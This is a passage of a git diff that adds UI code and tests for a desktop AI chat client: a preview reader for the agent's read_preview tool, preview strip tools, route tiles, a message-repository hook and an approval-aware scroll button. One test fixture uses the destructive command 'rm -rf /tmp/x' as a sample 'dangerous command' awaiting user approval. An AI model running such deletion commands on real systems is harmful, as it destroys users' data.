+    expect(await readActivePreview()).toMatchObject({ note: expect.stringContaining('retry') as string, text: '' })
+  })
+
+  it('unregister is idempotent and scoped to the same reader', async () => {
+    openPreview(urlTarget('https://example.com'), 'tool-result')
+    const tabId = $rightRailActiveTabId.get()!
+    const first = register(tabId, async () => ({ text: 'first', title: '', url: '' }))
+
+    register(tabId, async () => ({ text: 'second', title: '', url: '' }))
+    // Unregistering the STALE reader must not evict the live one.
+    first()
+
+    expect(await readActivePreview()).toMatchObject({ text: 'second' })
+  })
+})
diff --git a/ui-desktop/src/app/chat/right-rail/preview-reader.ts b/ui-desktop/src/app/chat/right-rail/preview-reader.ts
new file mode 100644
index 000000000..7f48c8cbb
--- /dev/null
+++ b/ui-desktop/src/app/chat/right-rail/preview-reader.ts
@@ -0,0 +1,122 @@
+/**
+ * PREVIEW READER — the read_preview tool's window into the preview pane, the
+ * preview analog of the terminal's buffer registry (see right-sidebar/
+ * terminal/buffer.ts).
+ *
+ * A URL/HTML preview renders in a sandboxed <webview> owned by PreviewPane;
+ * that pane registers a PAGE READER here (url + title + rendered text), keyed
+ * by tab id. `readActivePreview` resolves the ACTIVE tab from the store and
+ * owns the windowing: a registered reader answers with the live page's text;
+ * a tab with no reader (a file peek, an artifact) still answers with its
+ * identity and a note pointing the agent at the tool that reads that content
+ * directly (read_file / the conversation's artifact).
+ */
+
+import { $rightRailActiveTabId } from '@/store/layout'
+import { $previewTabs } from '@/store/preview'
+
+export interface PreviewReadOptions {
+  /** Characters to return from `start` (capped at PREVIEW_READ_MAX_CHARS). */
+  count?: number
+  /** 0-indexed character offset into the page text. */
+  start?: number
+}
+
+export interface PreviewReadResult {
+  end: number
+  kind: string
+  note?: string
+  path?: string
+  start: number
+  text: string
+  title: string
+  total_chars: number
+  url: string
+}
+
+/** What a pane's page reader extracts — the reader module owns the windowing. */
+interface PreviewPage {
+  text: string
+  title: string
+  url: string
+}
+
+type PageReader = () => Promise<PreviewPage>
+
+/** Default + hard cap on one read — a page's innerText can be megabytes, and
+ *  this crosses the gateway into model context. Page with start/count. */
+export const PREVIEW_READ_MAX_CHARS = 24_000
+
+const readers = new Map<string, PageReader>()
+
+/** Register a live preview's page reader; returns an idempotent unregister. */
+export function registerPreviewPageReader(tabId: string, reader: PageReader): () => void {
+  readers.set(tabId, reader)
+
+  return () => {
+    if (readers.get(tabId) === reader) {
+      readers.delete(tabId)
+    }
+  }
+}
+
+function windowText(
+  base: Omit<PreviewReadResult, 'end' | 'start' | 'text' | 'total_chars'>,
+  text: string,
+  opts: PreviewReadOptions
+): PreviewReadResult {
+  const total = text.length
+  const from = Math.max(0, Math.min(opts.start ?? 0, total))
+  const want = Math.min(Math.max(1, opts.count ?? PREVIEW_READ_MAX_CHARS), PREVIEW_READ_MAX_CHARS)
+  const to = Math.max(from, Math.min(from + want, total))
+
+  return { ...base, end: to, start: from, text: text.slice(from, to), total_chars: total }
+}
+
+/** Read the ACTIVE preview tab. Null only when no tab is open at all. */
+export async function readActivePreview(opts: PreviewReadOptions = {}): Promise<PreviewReadResult | null> {
+  const tabs = $previewTabs.get()
+  const tab = tabs.find(t => t.id === $rightRailActiveTabId.get()) ?? tabs[0]
+
+  if (!tab) {
+    return null
+  }
+
+  const { target } = tab
+  const reader = readers.get(tab.id)
+
+  if (reader) {
+    try {
+      const page = await reader()
+
+      return windowText(
+        { kind: target.kind, path: target.path, title: page.title || target.label, url: page.url || target.url },
+        page.text,
+        opts
+      )
+    } catch {
+      // Webview not ready (still booting / just navigated) — fall through to
+      // the identity answer, whose note says to retry.
+    }
+  }
+
+  // No live webview behind the tab (a file peek, an artifact, or a page still
+  // booting): answer with the tab's identity so the agent knows what's on
+  // screen and which of its own tools reads the content directly.
+  return windowText(
+    {
+      kind: target.kind,
+      note:
+        target.kind === 'file'
+          ? 'File preview — read the file itself with read_file.'
+          : target.kind === 'artifact'
+            ? 'Generated artifact — its content is in the conversation that produced it.'
+            : 'The page has not finished loading — retry in a moment.',
+      path: target.path,
+      title: target.label,
+      url: target.url
+    },
+    '',
+    opts
+  )
+}
diff --git a/ui-desktop/src/app/chat/right-rail/preview-strip-tools.tsx b/ui-desktop/src/app/chat/right-rail/preview-strip-tools.tsx
new file mode 100644
index 000000000..ddbd92ba4
--- /dev/null
+++ b/ui-desktop/src/app/chat/right-rail/preview-strip-tools.tsx
@@ -0,0 +1,97 @@
+/**
+ * Per-preview strip tools — the console toggle and the DevTools toggle.
+ *
+ * These were titlebar tools (`setTitlebarToolGroup`): one global pair, far from
+ * the thing they act on and ambiguous the moment two previews were open. They're
+ * strip glyphs now, contributed as `PaneStripTool` DATA — the strip renders them
+ * with `PaneStripGlyph`, the same button the "+" is, so there is no preview-owned
+ * styling to drift.
+ *
+ * The state has to outlive any one pane render and be addressable by tab id: the
+ * console store is created lazily per tab and cached here, and `PreviewPane`
+ * registers its DevTools handle for the tab it renders. Both invalidate the
+ * strip so `active` / `disabled` stay truthful.
+ */
+
+import { invalidateStripTools } from '@/components/pane-shell/tree/store'
+import { Codicon } from '@/components/ui/codicon'
+import type { PaneStripTool } from '@/components/ui/pane-tab'
+import { translateNow } from '@/i18n'
+
+import { createPreviewConsoleState, type PreviewConsoleState } from './preview-console-state'
+
+interface DevToolsHandle {
+  open: boolean
+  toggle: () => void
+}
+
+const consoleStates = new Map<string, PreviewConsoleState>()
+
+/** The console store for a tab, created on first use. Cached so the strip glyph
+ *  and the panel in the pane read the SAME store. */
+export function previewConsoleState(tabId: string): PreviewConsoleState {
+  const existing = consoleStates.get(tabId)
+
+  if (existing) {
+    return existing
+  }
+
+  const created = createPreviewConsoleState()
+
+  // Opening/closing the console flips the glyph's `active`, and the strip reads
+  // its tools during render — so tell it to re-read.
+  created.$open.listen(() => invalidateStripTools())
+  consoleStates.set(tabId, created)
+
+  return created
+}
+
+/** DevTools handles by tab id. The pane registers on mount (the webview only
+ *  exists in there); until it lands the glyph renders disabled. */
+const devToolsHandles = new Map<string, DevToolsHandle>()
+
+export function registerPreviewDevTools(tabId: string, handle: DevToolsHandle | null) {
+  if (handle) {
+    devToolsHandles.set(tabId, handle)
+  } else if (!devToolsHandles.delete(tabId)) {
+    return
+  }
+
+  invalidateStripTools()
+}
+
+/** Drop a closed tab's state so a long-lived window doesn't pin every preview it
+ *  ever opened. */
+export function forgetPreviewStripTools(tabId: string) {
+  consoleStates.delete(tabId)
+  registerPreviewDevTools(tabId, null)
+}
+
+/**
+ * The console + DevTools glyphs for a preview, as strip-tool DATA. Only wired for
+ * `url` previews — a file/artifact peek has no webview, hence no console and no
+ * DevTools.
+ */
+export function previewStripTools(tabId: string): readonly PaneStripTool[] {
+  const consoleState = previewConsoleState(tabId)
+  const consoleOpen = consoleState.$open.get()
+  const devTools = devToolsHandles.get(tabId)
+
+  return [
+    {
+      active: consoleOpen,
+      icon: <Codicon name="terminal" size="0.8125rem" />,
+      id: 'preview-console',
+      label: translateNow(consoleOpen ? 'preview.web.hideConsole' : 'preview.web.showConsole'),
+      onSelect: () => consoleState.setOpen(open => !open)
+    },
+    {
+      active: devTools?.open,
+      disabled: !devTools,
+      icon: <Codicon name="bug" size="0.8125rem" />,
+      id: 'preview-devtools',
+      label: translateNow(devTools?.open ? 'preview.web.hideDevTools' : 'preview.web.openDevTools'),
+      onSelect: () => devTools?.toggle()
+    }
+  ]
+}
diff --git a/ui-desktop/src/app/chat/right-rail/preview.tsx b/ui-desktop/src/app/chat/right-rail/preview.tsx
new file mode 100644
index 000000000..48ebdce6a
--- /dev/null
+++ b/ui-desktop/src/app/chat/right-rail/preview.tsx
@@ -0,0 +1,43 @@
+import { useStore } from '@nanostores/react'
+
+import { $restartPreviewServer } from '@/app/contrib/panes'
+import { $previewReloadRequest, $previewTabs } from '@/store/preview'
+
+import { PreviewPane } from './preview-pane'
+
+interface PreviewTilePaneProps {
+  /** The `$previewTabs` id this pane renders. */
+  tabId: string
+}
+
+/**
+ * One preview, as a layout-tree pane. The tab strip — its label, close verbs,
+ * drag/stack/split and ⌘W — belongs to the ZONE (see `preview-tile.tsx`), so
+ * this renders only the body and a preview tab behaves like every other tab.
+ *
+ * The console / DevTools glyphs live in the zone STRIP (`preview-strip-tools`),
+ * keyed by `tabId`; the restart handler arrives through the atom bridge the old
+ * rail wrapper used, since the mirror renders this pane with no props to thread.
+ */
+export function PreviewTilePane({ tabId }: PreviewTilePaneProps) {
+  const previewReloadRequest = useStore($previewReloadRequest)
+  const previewTabs = useStore($previewTabs)
+  const restartPreviewServer = useStore($restartPreviewServer)
+  const target = previewTabs.find(tab => tab.id === tabId)?.target
+
+  // The tab closed while this pane was still mounted (the mirror disposes it a
+  // tick later).
+  if (!target) {
+    return null
+  }
+
+  return (
+    <PreviewPane
+      embedded
+      onRestartServer={target.kind === 'url' ? (restartPreviewServer ?? undefined) : undefined}
+      reloadRequest={previewReloadRequest}
+      tabId={tabId}
+      target={target}
+    />
+  )
+}
diff --git a/ui-desktop/src/app/chat/route-tile.tsx b/ui-desktop/src/app/chat/route-tile.tsx
new file mode 100644
index 000000000..b807f733b
--- /dev/null
+++ b/ui-desktop/src/app/chat/route-tile.tsx
@@ -0,0 +1,90 @@
+/**
+ * ROUTE (PAGE) TILES — a full-page view rendered as a layout-tree pane BESIDE
+ * the main thread, the page analog of session tiles. Built-in pages
+ * (Capabilities / Messaging / Artifacts) render their view; plugin pages render
+ * their `ROUTES_AREA` contribution. Lifecycle mirrors session tiles:
+ * `openRouteTile(path)` -> `watchRouteTiles` registers a pane docked beside
+ * main -> tree adoption lands it on the chosen edge; closing removes it.
+ */
+
+import { lazy, type ReactNode, Suspense } from 'react'
+
+import { ContribBoundary } from '@/contrib/react/boundary'
+import { useContributions } from '@/contrib/react/use-contributions'
+import { $routeTiles, closeRouteTile, type RouteTile } from '@/store/route-tiles'
+
+import { ARTIFACTS_ROUTE, contributedRoutes, MESSAGING_ROUTE, ROUTES_AREA, SKILLS_ROUTE } from '../routes'
+
+import { paneMirror } from './pane-mirror'
+
+const SkillsView = lazy(async () => ({ default: (await import('../skills')).SkillsView }))
+const MessagingView = lazy(async () => ({ default: (await import('../messaging')).MessagingView }))
+const ArtifactsView = lazy(async () => ({ default: (await import('../artifacts')).ArtifactsView }))
+
+// Built-in page views + their pane titles, keyed by route.
+const BUILTIN_PAGES: Record<string, { render: () => ReactNode; title: string }> = {
+  [ARTIFACTS_ROUTE]: { render: () => <ArtifactsView />, title: 'Artifacts' },
+  [MESSAGING_ROUTE]: { render: () => <MessagingView />, title: 'Messaging' },
+  [SKILLS_ROUTE]: { render: () => <SkillsView />, title: 'Capabilities' }
+}
+
+/** Humanize a route path into a tab title: `/my-atlas` → `My Atlas`. */
+const humanizePath = (path: string): string =>
+  path
+    .replace(/^\/+/, '')
+    .split(/[/-]/)
+    .filter(Boolean)
+    .map(word => word.charAt(0).toUpperCase() + word.slice(1))
+    .join(' ') || path
+
+/** Title for a route tile: the built-in name, the contribution's own `title`,
+ *  else a humanized path — never the internal `${source}:${id}` key. */
+function routeTitle(path: string): string {
+  if (BUILTIN_PAGES[path]) {
+    return BUILTIN_PAGES[path].title
+  }
+
+  return contributedRoutes().find(r => r.path === path)?.title ?? humanizePath(path)
+}
+
+function RouteTilePane({ path }: { path: string }) {
+  const builtin = BUILTIN_PAGES[path]
+
+  // Subscribe so a plugin page tile appears the moment its route registers.
+  useContributions(ROUTES_AREA)
+  const contrib = builtin ? null : contributedRoutes().find(r => r.path === path)
+
+  if (builtin) {
+    return (
+      <ContribBoundary id={path}>
+        <Suspense fallback={null}>{builtin.render()}</Suspense>
+      </ContribBoundary>
+    )
+  }
+
+  if (contrib) {
+    return <ContribBoundary id={path}>{contrib.render()}</ContribBoundary>
+  }
+
+  return (
+    <div className="grid h-full place-items-center font-mono text-[11px] text-(--ui-text-quaternary)">
+      no page at {path}
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Route tile -> pane contribution sync (call once from the app root).
+// ---------------------------------------------------------------------------
+
+/** Keep pane contributions mirroring `$routeTiles`. Call once from the root. */
+export const watchRouteTiles = paneMirror<RouteTile>({
+  source: $routeTiles,
+  key: t => t.path,
+  prefix: 'route-tile',
+  dir: t => t.dir,
+  minWidth: '22rem',
+  title: routeTitle,
+  render: path => <RouteTilePane path={path} />,
+  close: closeRouteTile
+})
diff --git a/ui-desktop/src/app/chat/runtime-repository.test.ts b/ui-desktop/src/app/chat/runtime-repository.test.ts
new file mode 100644
index 000000000..de7a97d39
--- /dev/null
+++ b/ui-desktop/src/app/chat/runtime-repository.test.ts
@@ -0,0 +1,82 @@
+import { MessageRepository } from '@assistant-ui/core/internal'
+import { renderHook } from '@testing-library/react'
+import { describe, expect, it } from 'vitest'
+
+import type { ChatMessage } from '@/lib/chat-messages'
+import { syncRepositoryIncrementally } from '@/lib/incremental-external-store-runtime'
+
+import { useRuntimeMessageRepository } from './runtime-repository'
+
+const text = (id: string, role: ChatMessage['role'], body: string): ChatMessage => ({
+  id,
+  role,
+  parts: [{ type: 'text', text: body }]
+})
+
+/** The repository the runtime drives — it throws on a duplicate link. */
+const feedToRepository = (repository: ExportedRepository) => {
+  const runtime = { repository: new MessageRepository() } as unknown as Parameters<
+    typeof syncRepositoryIncrementally
+  >[0]
+
+  return syncRepositoryIncrementally(runtime, repository)
+}
+
+type ExportedRepository = ReturnType<typeof useRuntimeMessageRepository>
+
+describe('useRuntimeMessageRepository', () => {
+  it('emits each id once when the transcript repeats one', () => {
+    const { result } = renderHook(() =>
+      useRuntimeMessageRepository([
+        text('user-1', 'user', 'hi'),
+        text('assistant-1', 'assistant', 'hello'),
+        text('user-1', 'user', 'hi')
+      ])
+    )
+
+    const ids = result.current.messages.map(item => item.message.id)
+
+    expect(ids).toEqual(['user-1', 'assistant-1'])
+  })
+
+  it('builds a repository the runtime can link without throwing', () => {
+    const { result } = renderHook(() =>
+      useRuntimeMessageRepository([
+        text('user-1', 'user', 'hi'),
+        text('assistant-stream-1', 'assistant', 'partial'),
+        text('assistant-stream-1', 'assistant', 'partial'),
+        text('user-2', 'user', 'more')
+      ])
+    )
+
+    expect(feedToRepository(result.current).map(item => item.id)).toEqual(['user-1', 'assistant-stream-1', 'user-2'])
+  })
+
+  it('anchors a branch group to its fork point, and a windowed cut keeps it', () => {
+    // Branch groups record their fork parent the first time they are seen. A
+    // window that started mid-group would anchor the survivors to whatever
+    // preceded them instead — selectTranscriptWindow aligns the cut so the
+    // whole group arrives together (#55191).
+    const branch = (id: string): ChatMessage => ({
+      ...text(id, 'assistant', 'branch'),
+      branchGroupId: 'group-1'
+    })
+
+    const messages = [text('user-1', 'user', 'hi'), branch('a-1'), branch('a-2'), text('user-2', 'user', 'more')]
+
+    const { result } = renderHook(() => useRuntimeMessageRepository(messages))
+
+    const parents = new Map(result.current.messages.map(item => [item.message.id, item.parentId]))
+
+    expect(parents.get('a-1')).toBe('user-1')
+    expect(parents.get('a-2')).toBe('user-1')
+
+    // The same group fed as a window that begins AT the group start keeps the
+    // fork intact (parent becomes null: the group is now the transcript root).
+    const { result: windowed } = renderHook(() => useRuntimeMessageRepository(messages.slice(1)))
+
+    const windowedParents = new Map(windowed.current.messages.map(item => [item.message.id, item.parentId]))
+
+    expect(windowedParents.get('a-1')).toBe(windowedParents.get('a-2'))
+  })
+})
diff --git a/ui-desktop/src/app/chat/runtime-repository.ts b/ui-desktop/src/app/chat/runtime-repository.ts
new file mode 100644
index 000000000..39b4d0c1d
--- /dev/null
+++ b/ui-desktop/src/app/chat/runtime-repository.ts
@@ -0,0 +1,78 @@
+import { fromThreadMessageLike, getAutoStatus } from '@assistant-ui/core/internal'
+import type { ExportedMessageRepository, ThreadMessage } from '@assistant-ui/react'
+import { useMemo, useRef } from 'react'
+
+import type { ChatMessage } from '@/lib/chat-messages'
+import { coalesceToolOnlyAssistants, createToolMergeCache, toRuntimeMessage } from '@/lib/chat-runtime'
+
+// The exact fallback status ExportedMessageRepository.fromBranchableArray uses.
+// Normalization happens HERE, once per message, so the cached record below is
+// already the final ThreadMessage the runtime consumes.
+const FALLBACK_STATUS = getAutoStatus(false, false, false, false, undefined)
+
+/**
+ * ChatMessage[] -> assistant-ui message repository, with a WeakMap identity
+ * cache so unchanged messages convert once (and a tool-merge cache that folds
+ * tool-only assistant turns into their neighbour). Shared by the main chat's
+ * runtime boundary and session tiles — one transcript pipeline, N surfaces.
+ *
+ * The cache stores NORMALIZED messages. `fromBranchableArray` maps the whole
+ * array through `fromThreadMessageLike` on every call, so building the export
+ * with it threw away the cache's reference identity once per streamed delta —
+ * re-normalizing the entire settled transcript ~30x/s. Normalizing inside the
+ * cache miss keeps identity stable for settled turns, which is what lets the
+ * runtime reconcile detect that only the tail moved.
+ */
+export function useRuntimeMessageRepository(messages: ChatMessage[]): ExportedMessageRepository {
+  const cacheRef = useRef(new WeakMap<ChatMessage, ThreadMessage>())
+  const toolMergeCacheRef = useRef(createToolMergeCache())
+
+  return useMemo(() => {
+    const items: { message: ThreadMessage; parentId: string | null }[] = []
+    const branchParentByGroup = new Map<string, string | null>()
+    const seenIds = new Set<string>()
+    let visibleParentId: string | null = null
+    let headId: string | null = null
+
+    for (const message of coalesceToolOnlyAssistants(messages, toolMergeCacheRef.current)) {
+      // A repeated id is a transcript bug upstream, but it must not reach the
+      // repository: MessageRepository throws on the second link ("A message
+      // with the same id already exists in the parent tree") and takes the
+      // whole workspace pane down with it. Keep the first occurrence — the
+      // later copy carries the same id, so it is the row we already rendered.
+      if (seenIds.has(message.id)) {
+        continue
+      }
+
+      seenIds.add(message.id)
+
+      let parentId = visibleParentId
+
+      if (message.role === 'assistant' && message.branchGroupId) {
+        if (!branchParentByGroup.has(message.branchGroupId)) {
+          branchParentByGroup.set(message.branchGroupId, visibleParentId)
+        }
+
+        parentId = branchParentByGroup.get(message.branchGroupId) ?? null
+      }
+
+      const cachedMessage = cacheRef.current.get(message)
+
+      const runtimeMessage =
+        cachedMessage ?? fromThreadMessageLike(toRuntimeMessage(message), message.id, FALLBACK_STATUS)
+
+      if (!cachedMessage) {
+        cacheRef.current.set(message, runtimeMessage)
+      }
+
+      items.push({ message: runtimeMessage, parentId })
+
+      if (!message.hidden) {
+        visibleParentId = message.id
+        headId = message.id
+      }
+    }
+
+    return { headId, messages: items }
+  }, [messages])
+}
diff --git a/ui-desktop/src/app/chat/scroll-to-bottom-button.test.tsx b/ui-desktop/src/app/chat/scroll-to-bottom-button.test.tsx
new file mode 100644
index 000000000..f163ec848
--- /dev/null
+++ b/ui-desktop/src/app/chat/scroll-to-bottom-button.test.tsx
@@ -0,0 +1,67 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { clearAllPrompts, setApprovalRequest } from '@/store/prompts'
+import { $activeSessionId } from '@/store/session'
+import { onScrollToBottomRequest, resetThreadScroll, setThreadAtBottom } from '@/store/thread-scroll'
+
+import { ScrollToBottomButton } from './scroll-to-bottom-button'
+
+function pendingApproval() {
+  $activeSessionId.set('sess-1')
+  setApprovalRequest({ command: 'rm -rf /tmp/x', description: 'dangerous command', sessionId: 'sess-1' })
+}
+
+afterEach(() => {
+  cleanup()
+  clearAllPrompts()
+  resetThreadScroll()
+  $activeSessionId.set(null)
+})
+
+// `getByRole('button')` excludes aria-hidden nodes, so "queryByRole null" is the
+// control's hidden (parked-at-bottom) state.
+describe('ScrollToBottomButton', () => {
+  it('stays hidden while parked at the bottom', () => {
+    render(<ScrollToBottomButton />)
+
+    expect(screen.queryByRole('button')).toBeNull()
+  })
+
+  it('is a plain jump-to-bottom control when scrolled up with no approval', () => {
+    setThreadAtBottom(false)
+    render(<ScrollToBottomButton />)
+
+    expect(screen.getByRole('button', { name: 'Scroll to bottom' })).toBeTruthy()
+    expect(screen.queryByText('Approval needed')).toBeNull()
+  })
+
+  it('morphs into the approval pill when scrolled up with a pending approval', () => {
+    pendingApproval()
+    setThreadAtBottom(false)
+    render(<ScrollToBottomButton />)
+
+    expect(screen.getByRole('button', { name: 'Approval needed' })).toBeTruthy()
+    expect(screen.getByText('Approval needed')).toBeTruthy()
+  })
+
+  it('does not morph while a pending approval is still in view (at bottom)', () => {
+    pendingApproval()
+    render(<ScrollToBottomButton />)
+
+    // Parked at bottom → control hidden, so it can't claim "approval needed".
+    expect(screen.queryByRole('button')).toBeNull()
+  })
+
+  it('re-arms sticky-bottom on click', () => {
+    const handler = vi.fn()
+    const stop = onScrollToBottomRequest(handler)
+    setThreadAtBottom(false)
+    render(<ScrollToBottomButton />)
+
+    fireEvent.click(screen.getByRole('button'))
+
+    expect(handler).toHaveBeenCalledTimes(1)
+    stop()
+  })
+})
diff --git a/ui-desktop/src/app/chat/scroll-to-bottom-button.tsx b/ui-desktop/src/app/chat/scroll-to-bottom-button.tsx
new file mode 100644
index 000000000..eaab1def0
--- /dev/null
+++ b/ui-desktop/src/app/chat/scroll-to-bottom-button.tsx
@@ -0,0 +1,74 @@
+import { useStore } from '@nanostores/react'
+import { useRef } from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { cn } from '@/lib/utils'
+import { $approvalRequest } from '@/store/prompts'
+import { $threadJumpButtonVisible, requestScrollToBottom } from '@/store/thread-scroll'
+
+/**
+ * Floating "jump to bottom" control. Sits centered just above the composer,
+ * clearing the out-of-flow status stack via the same measured-height CSS vars
+ * the thread's bottom clearance uses (`--composer-measured-height`, which
+ * covers the whole dock), so it never overlaps the queue / subagent
+ * / background cards. Visible only while the user has scrolled meaningfully
+ * away from the bottom; clicking re-arms sticky-bottom and pins the viewport.
+ *
+ * When the turn is BLOCKED on an approval, this same control morphs into an
+ * "Approval needed" pill — the only response surface is the inline Run/Reject
+ * bar on the parked tool row, which is always the bottom-most content, so the
+ * existing scroll-to-bottom action lands the user right on it. One control, no
+ * collision, no second scroll path (native scrollIntoView would scroll
+ * overflow:hidden ancestors that can't scroll back and wreck the layout).
+ *
+ * Enter/exit motion lives in styles.css under `.thread-jump-button` — a
+ * directional scale (contract in from 1.1, contract out to 0.9) keyed off
+ * `data-state`. `idle` (never-shown) stays silent so it can't flash on mount;
+ * `in`/`out` only swap once it has actually appeared.
+ */
+export function ScrollToBottomButton() {
+  const { t } = useI18n()
+  const visible = useStore($threadJumpButtonVisible)
+  const request = useStore($approvalRequest)
+  // Scrolled away while an approval is pending → the inline Run/Reject bar is
+  // below the fold. Relabel so the user knows the session needs them, not just
+  // that there's more to read.
+  const approval = visible && Boolean(request)
+  const hasShownRef = useRef(false)
+
+  if (visible) {
+    hasShownRef.current = true
+  }
+
+  const state = visible ? 'in' : hasShownRef.current ? 'out' : 'idle'
+  const label = approval ? t.assistant.approval.jumpToApproval : t.assistant.thread.scrollToBottom
+
+  return (
+    <button
+      aria-hidden={!visible}
+      aria-label={label}
+      className={cn(
+        'thread-jump-button absolute left-1/2 z-20 grid place-items-center backdrop-blur-[0.75rem] [-webkit-backdrop-filter:blur(0.75rem)]',
+        approval
+          ? 'h-8 grid-flow-col gap-1.5 rounded-full border border-primary/40 bg-(--composer-fill) px-3 text-primary hover:bg-primary/10'
+          : 'size-8 rounded-full border border-border/65 bg-(--composer-fill) text-muted-foreground hover:text-foreground',
+        !visible && 'pointer-events-none'
+      )}
+      data-state={state}
+      onClick={() => {
+        triggerHaptic('selection')
+        requestScrollToBottom()
+      }}
+      style={{
+        bottom: 'calc(var(--composer-measured-height) + 0.625rem)'
+      }}
+      tabIndex={visible ? 0 : -1}
+      type="button"
+    >
+      <Codicon name="arrow-down" size={approval ? '0.875rem' : '1rem'} />
+      {approval && <span className="text-xs font-medium">{label}</span>}
+    </button>
+  )
+}
diff --git a/ui-desktop/src/app/chat/session-drag.test.ts b/ui-desktop/src/app/chat/session-drag.test.ts
new file mode 100644
index 000000000..5e4b7955e
--- /dev/null
+++ b/ui-desktop/src/app/chat/session-drag.test.ts
@@ -0,0 +1,113 @@
+import type { PointerEvent as ReactPointerEvent } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { group } from '@/components/pane-shell/tree/model'
+import { $layoutTree } from '@/components/pane-shell/tree/store'
+import { openSessionTile } from '@/store/session-states'
+
+import { requestComposerInsertRefs } from './composer/focus'
+import { startSessionDrag } from './session-drag'
+
+/**
+ * A session drop resolves its target by rect-testing the chat surfaces in the
+ * document. A tab group keeps inactive tabs MOUNTED with their layout box
+ * intact, so a background tab's rect is identical to the foreground tab's —
+ * the drop has to land on the tab the user can actually see.
+ */
+
+vi.mock('@/store/session-states', () => ({ openSessionTile: vi.fn() }))
+vi.mock('./composer/focus', () => ({ requestComposerInsertRefs: vi.fn() }))
+
+const ZONE = { left: 0, top: 0, right: 1000, bottom: 800 }
+const COMPOSER = { left: 100, top: 700, right: 900, bottom: 780 }
+
+const stubRect = (el: Element, box: { left: number; top: number; right: number; bottom: number }) => {
+  el.getBoundingClientRect = () =>
+    ({ ...box, width: box.right - box.left, height: box.bottom - box.top, x: box.left, y: box.top }) as DOMRect
+}
+
+/** The workspace tab kept alive behind an active session tile tab. */
+function mountStackedTabs() {
+  document.body.innerHTML = `
+    <div data-tree-group="g1">
+      <div data-pane-hidden>
+        <div data-session-anchor="workspace" data-composer-target="main">
+          <div data-slot="composer-root"></div>
+        </div>
+      </div>
+      <div>
+        <div data-session-anchor="session-tile:visible" data-composer-target="tile:visible">
+          <div data-slot="composer-root"></div>
+        </div>
+      </div>
+    </div>
+    <div id="row"></div>
+  `
+
+  stubRect(document.querySelector('[data-tree-group]')!, ZONE)
+
+  for (const surface of document.querySelectorAll('[data-session-anchor]')) {
+    stubRect(surface, ZONE)
+  }
+
+  for (const composer of document.querySelectorAll('[data-slot="composer-root"]')) {
+    stubRect(composer, COMPOSER)
+  }
+
+  $layoutTree.set(group(['workspace', 'session-tile:visible'], { id: 'g1' }))
+
+  return document.getElementById('row')!
+}
+
+/** Press on `source`, drag to (x, y), release. The drag session flushes its
+ *  pending move synchronously on release, so no frame wait is needed. */
+function dragTo(source: HTMLElement, x: number, y: number) {
+  startSessionDrag({ id: 'dragged', profile: 'default', title: 'Dragged chat' }, {
+    button: 0,
+    clientX: 0,
+    clientY: 0,
+    currentTarget: source,
+    pointerId: 1
+  } as unknown as ReactPointerEvent<HTMLElement>)
+
+  window.dispatchEvent(new MouseEvent('pointermove', { bubbles: true, clientX: x, clientY: y }))
+  window.dispatchEvent(new MouseEvent('pointerup', { bubbles: true, clientX: x, clientY: y }))
+}
+
+beforeEach(() => {
+  vi.clearAllMocks()
+})
+
+afterEach(() => {
+  document.body.innerHTML = ''
+  $layoutTree.set(null)
+})
+
+describe('session drop targeting across stacked tabs', () => {
+  it('links into the visible tab’s composer, not the tab kept alive behind it', () => {
+    const row = mountStackedTabs()
+
+    dragTo(row, 500, 740)
+
+    expect(requestComposerInsertRefs).toHaveBeenCalledWith(expect.anything(), { target: 'tile:visible' })
+  })
+
+  it('docks a split against the visible tab’s pane', () => {
+    const row = mountStackedTabs()
+
+    dragTo(row, 980, 400)
+
+    expect(openSessionTile).toHaveBeenCalledWith('dragged', 'right', 'session-tile:visible', undefined)
+    expect(requestComposerInsertRefs).not.toHaveBeenCalled()
+  })
+
+  it('commits nothing over a zone that hosts no chat surface', () => {
+    mountStackedTabs()
+    $layoutTree.set(group(['terminal'], { id: 'g1' }))
+
+    dragTo(document.getElementById('row')!, 500, 740)
+
+    expect(requestComposerInsertRefs).not.toHaveBeenCalled()
+    expect(openSessionTile).not.toHaveBeenCalled()
+  })
+})
diff --git a/ui-desktop/src/app/chat/session-drag.ts b/ui-desktop/src/app/chat/session-drag.ts
new file mode 100644
index 000000000..8c2c5fbe2
--- /dev/null
+++ b/ui-desktop/src/app/chat/session-drag.ts
@@ -0,0 +1,207 @@
+/**
+ * Sidebar session drag — the session RESOLVER over the shared pointer drag
+ * session (pane-shell drag-session.ts). Same machinery as a pane drag
+ * (threshold, rAF moves, snapshots, Esc-as-top-layer with synchronous
+ * teardown), session-specific targeting:
+ *
+ *   - a chat zone's TAB STRIP  → stack: open the session as a tab at the
+ *     divider's slot (the strip caret shows it);
+ *   - a chat zone's EDGE band  → split: open the session as a tile docked on
+ *     that edge (the zone sheet morphs to the half);
+ *   - a chat zone's CENTER / the composer → link: insert an `@session` chip
+ *     into that surface's composer (ChatDropOverlay owns the visual);
+ *   - anything else (sidebar, terminal, gutters) → deny.
+ *
+ * Zones that don't host a chat surface are NOT targets — the overlay never
+ * lights them, so a release there must not commit either (one truth).
+ *
+ * This replaced the native-HTML5 drag + SessionTileDropBridge: riding the
+ * native DnD layer meant macOS's cancel snap-back animation, a `dragend`
+ * held hostage until that animation finished, an Esc the page never even
+ * saw, and window-level armor against react-dnd/dnd-kit. A pointer session
+ * has none of those failure modes. Native DnD remains only at the true OS
+ * boundary (Finder file drops). Known trade: a session can no longer be
+ * dragged into a separate BrowserWindow (native DnD was the only transport
+ * that crossed windows).
+ */
+
+import type { PointerEvent as ReactPointerEvent } from 'react'
+
+import { queryAllVisible } from '@/components/pane-shell/pane-visibility'
+import { findGroup } from '@/components/pane-shell/tree/model'
+import {
+  type DoubleTapContext,
+  rectContains,
+  slotBefore,
+  snapshotStrips,
+  snapshotZones,
+  startDragSession,
+  type StripSnapshot,
+  subZonePosition
+} from '@/components/pane-shell/tree/renderer/drag-session'
+import {
+  $layoutTree,
+  $treeDragging,
+  type DropHint,
+  isMainStripPane,
+  isSessionStripPane,
+  revealTreePane,
+  SESSION_TILE_DRAG
+} from '@/components/pane-shell/tree/store'
+import type { EngineZone, ZoneRect } from '@/components/pane-shell/tree/zones-engine'
+import { openSessionTile, type TileDock } from '@/store/session-states'
+
